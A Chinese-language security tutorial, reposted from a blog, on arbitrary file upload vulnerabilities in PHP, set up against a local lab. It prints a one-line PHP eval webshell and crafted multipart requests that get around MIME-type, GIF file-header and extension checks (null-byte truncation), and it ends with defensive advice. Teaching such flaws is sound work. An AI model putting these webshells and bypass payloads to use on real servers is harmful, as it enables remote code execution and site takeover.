3、任意文件上传漏洞

发布时间:2024年01月08日

1、概述

定义:?文件上传漏洞( Unrestricted File Upload)网站上传功能过滤不严格,导致用户可通过上传文
件对系统造成危害。

上传服务端可解析的脚本文件造成远程代码执行、上传超大文件造成拒绝服务、上传Html文件引发XSS等。

分类:?Web通用漏洞

风险等级:?严重/中危

危害:上传文件Getshell/上传HTML文件实现XSS攻击、上传超大文件引发拒绝服务等

2、漏洞原理+利用

漏洞示例:

在本地的phpstudy中搭建一个简单的靶场

<html>
<form action="http://127.0.0.1/upload.php"
method="POST" enctype="multipart/form-data">
<input name="a" type="file"></input>
<input name="b" ></input>
<input type="submit"></input>
</form>
</html>
<?php
var_dump($_POST['b']);
var_dump($_FILES);
move_uploaded_file($_FILES["a"]["tmp_name"],"
./upload/" . $_FILES["a"]["name"]);
?>

需要在同目录下创建一个upload文件夹

漏洞利用:

上传一个一句话木马,然后用蚁剑远程连接。

<?php eval($_POST['1'])?>
  • 通过上传GetShell。对于服务器直接支持解析的文件格式,只需要上传该后缀的文件即可。这种
    情况下的漏洞也被称作任意文件上传。
  • 通过上传实现XSS攻击。上传HTML文件时,在其中插入XSS代码实现XSS攻击。
  • 通过上传实现服务器拒绝服务。上传超大文件,或当服务器自动执行解压操作时,上传畸形的压
    缩包文件实现拒绝服务。

文件上传+环境解析 = WebShell
文件上传+任意路径控制 = 文件覆盖(WebShell)
文件上传 - 环境解析 - 路径控制 = XSS
文件上传-环境解析+无大小限制=拒绝服务

3、漏洞绕过

文件类型限制:

<?php
if($_FILES['a']['type'] != "image/gif")
{
    die("Sorry,we only allow uploading GIF images");
}    
?>

绕过:

------WebKitFormBoundaryU1lrzLiplUyRrlHJ
Content-Disposition: form-data; name="a"; filename="filename.php"
Content-Type: text/php image/gif
file_content <?php eval($_GET['a'])?>
------WebKitFormBoundaryU1lrzLiplUyRrlHJ

文件头限制:

<?php
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$filename = '1.php';
echo finfo_file($finfo,$filename);
?>

绕过:

添加一个GIF(也就是可以上传到服务器上的文件类型)的文件头就可以。

47494638 39613804 A005F700 00000000   |   GIF89a8
0509080A 09050B0C 0B120E0D 0E0F100F   |
11101211 0E131313 1A151316 16191719   |

文件后缀追加限制:

<?php
var_dump($_POST['a']);
var_dump($_FILES);
move_uploaded_file($_FILES["a"]["tmp_name"],"./upload" .$_POST['a'].'.jpg');
?>

绕过:

使用%00截断。 要求:PHP版本 < 5.3.4
------WebKitFormBoundaryU1lrzLiplUyRrlHJ
Content-Disposition: form-data; name="a"
1.php0x00
------WebKitFormBoundaryU1lrzLiplUyRrlHJ

条件竞争:?恶意文件上传后被检测到立马被删除,攻击者在他被删除前使用自动化工具快速频繁的请求该文件。

4、漏洞挖掘

一般都在可以上传文件的位置,像上传头像照片等。

5、漏洞防御

1.严格限制上传文件后缀

2.对于无法限制文件后缀的情况,可以严格限制上传目录(防御../跳出目录),
同时将该目录设置为不可解析(octet-stream)。将其他目录设置为不可写入。

3.使用分站存储上传文件,分站不开启脚本资源解析。

文章来源:https://blog.csdn.net/m0_74152774/article/details/135434575
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。